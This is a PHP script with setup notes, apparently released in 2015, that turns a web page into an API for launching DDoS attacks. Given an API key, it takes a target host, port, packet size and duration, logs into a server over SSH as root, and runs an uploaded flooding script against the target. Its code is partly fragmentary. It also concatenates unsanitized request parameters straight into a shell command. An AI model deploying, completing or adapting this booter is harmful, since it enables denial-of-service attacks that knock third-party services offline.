This script was made for a DDoS API that I coded in a few hours with Trial and Error.
Save to webhosting as a PHP File; then go to the link and after the link type ?apikey=123456
Put your server details where it says Net_SSH2.
Upload your DDoS Script to the root of your server, and then at the top of the PHP Script $cmd, change it to how your scripts runs.
At the bottom, you can mess around with how it's setup.
+-----------------------------------------------------------------------+
| If you need help, contact me on Skype: fbi.cybercrimewatcher |
| Released on: 01/18/2015 |
+-----------------------------------------------------------------------+
ERROR: Enter your API Key.';
} else {
//Shows forum if API is entered.
}
?>
login('root', 'password')) //Username to Server, then password.
{
exit('Login Failed');
} else {
if($host == null)
{
echo 'Syntax Error, no host entered.';
echo "";
echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
} else {
if($port == null)
{
echo 'Syntax Error, no port entered.';
echo "";
echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
} else {
if($byte == null)
{
echo 'Syntax Error, no packet size entered.';
echo "";
echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
} else {
if($time == null)
{
echo 'Syntax Error, no time entered.';
echo "";
echo "Format: apikey=1&host=255.255.0.0&port=80&byte=1024&time=30";
} else {
if($host == "192.168.0.1" || $host == "192.168.0.0") //Blacklist yours or another persons IP here.
{
echo 'IP Address '.$host.' is blacklisted.';
} else {
if($time >= $maxtime)
{
echo 'Syntax Error, max boot time is 3600.';
} else {
echo $ssh->exec(''.$cmd.' '.$host.' '.$port.' '.$byte.' '.$time.''); //Sends the official command to server.
}
}
}
}
}
}
}
}
?>